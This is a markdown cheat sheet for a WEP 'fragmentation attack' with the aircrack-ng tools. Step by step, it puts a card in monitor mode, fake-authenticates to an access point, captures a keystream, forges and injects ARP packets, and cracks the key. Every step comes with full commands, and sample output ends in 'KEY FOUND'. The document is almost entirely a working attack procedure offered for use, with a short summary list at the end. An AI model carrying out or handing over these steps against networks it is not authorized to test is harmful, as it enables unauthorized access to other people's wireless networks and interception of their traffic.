

# Fragmentation attack

---

```
sudo airmon-ng start wlan0
```

```
sudo airodump-ng wlan0
```

Select the bssid to use

```
sudo airodump-ng --bssid <bssid> -c <channel> -w fragmentation_attack wlan0
```

-c : channel  
-w : file to write data  
wlan0 - interface in monitor mode

Fake Authenticate with the access point

```
sudo aireplay-ng --fakeauth 0 -a <bssid> -h <your_mac> wlan0
```

```
root@kali:~# aireplay-ng --fakeauth 0 -a BSSID of Access Point -h Your interface MAC mon0
11:16:16 Waiting for beacon frame (BSSID: ) on channel 2
<
11:16:16 Sending Authentication Request (Open System) [ACK]
11:16:16 Authentication successful
11:16:16 Sending Association Request [ACK]
11:16:16 Association successful :- ) (AID: 1)
```

-a : bssid of the access point  
-h : Your mac address. You can view it using: `macchanger --show`  
wlan0 : interface in monitor mode

```
sudo aireplay-ng --fragment -b <bssid> -h <your_mac> wlan0
```

-b : bssid of the access point  
-h : Your mac address. You can view it using: `macchanger --show`  
wlan0 : interface in monitor mode

```

root@kali:~# aireplay-ng --fragment -b [Bssid] -h [Interface MAC] mon0
11:17:11 Waiting for beacon frame (BSSID: [BSSID]) on channel 2
11:17:11 Waiting for a data packet...
Read 39 packets...

11:19:39 Sending fragmented packet
11:19:39 Got RELAYED packet!!
11:19:39 Trying to get 384 bytes of a keystream
11:19:39 Got RELAYED packet!!
11:19:39 Trying to get 1500 bytes of a keystream
11:19:39 Got RELAYED packet!!
Saving keystream in fragment-0824-111939.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
root@kali:~#

```

We will use the `.xor` file to generate a forged packet using packetforge-ng

```

packetforge-ng -0 -a <bssid> -h <your_mac> -k 255.255.255.255 -l 255.255.255.255 -
y <xor_file> -w <file_name_to_save>

```

-0 : Indicates you want a arp request packet generated  
 -a : bssid of the access point  
 -h : Your mac address. You can view it using: `macchanger --show`  
 wlan0 : interface in monitor mode  
 -y : Keystream we captured using fragmentation attack (.xor)  
 -w : Packet we are gonna create

```

packetforge-ng -0 -a <bssid> -h <interface MAC> -k 255.255.255.255 -l 255.255.255.255
-y <XOR file from fragmentation attack> -w <file to write>

```

Now we need to inject those ARP packets.

```

aireplay-ng -2 -r <file_created_in_packetforge>

```

```

#Data,
1961

```

When the data reaches 10000 run this command on a new terminal

```

sudo aircrack-ng <capfile_generated_during_airmonng>

```

```
root@kali:~# aircrack-ng fragment-test-01.cap
Opening fragment-test-01.cap
Read 144398 packets.

# BSSID          ESSID          Encryption
1 00:10:18:90:2D:EE test-ap        WEP (30970 IVs)

Choosing first network as target.

Opening fragment-test-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 31190 ivs.
KEY FOUND! [ XXXXXXXXXX ]
Decrypted correctly: 100%

root@kali:~#
```

In short

1. `sudo airmon-ng start wlan0`
2. `sudo airodump-ng wlan0`
3. `sudo airodump-ng --bssid <bssid> -c <channel> -w fragmentation_attack wlan0`

1. `sudo aireplay-ng --fakeauth 0 -a <bssid> -h <your_mac> wlan0`

1. `sudo aireplay-ng --fragment -b <bssid> -h <your_mac> wlan0`
2. `packetforge-ng -0 -a <bssid> -h <your_mac> -k 255.255.255.255 -l 255.255.255.255 -y <xor_file> -w <file_name_to_save>`

1. `aireplay-ng -2 -r <file_created_in_packetforge-ng>`
2. `sudo aircrack-ng <capfile_generated_during_airmonng>`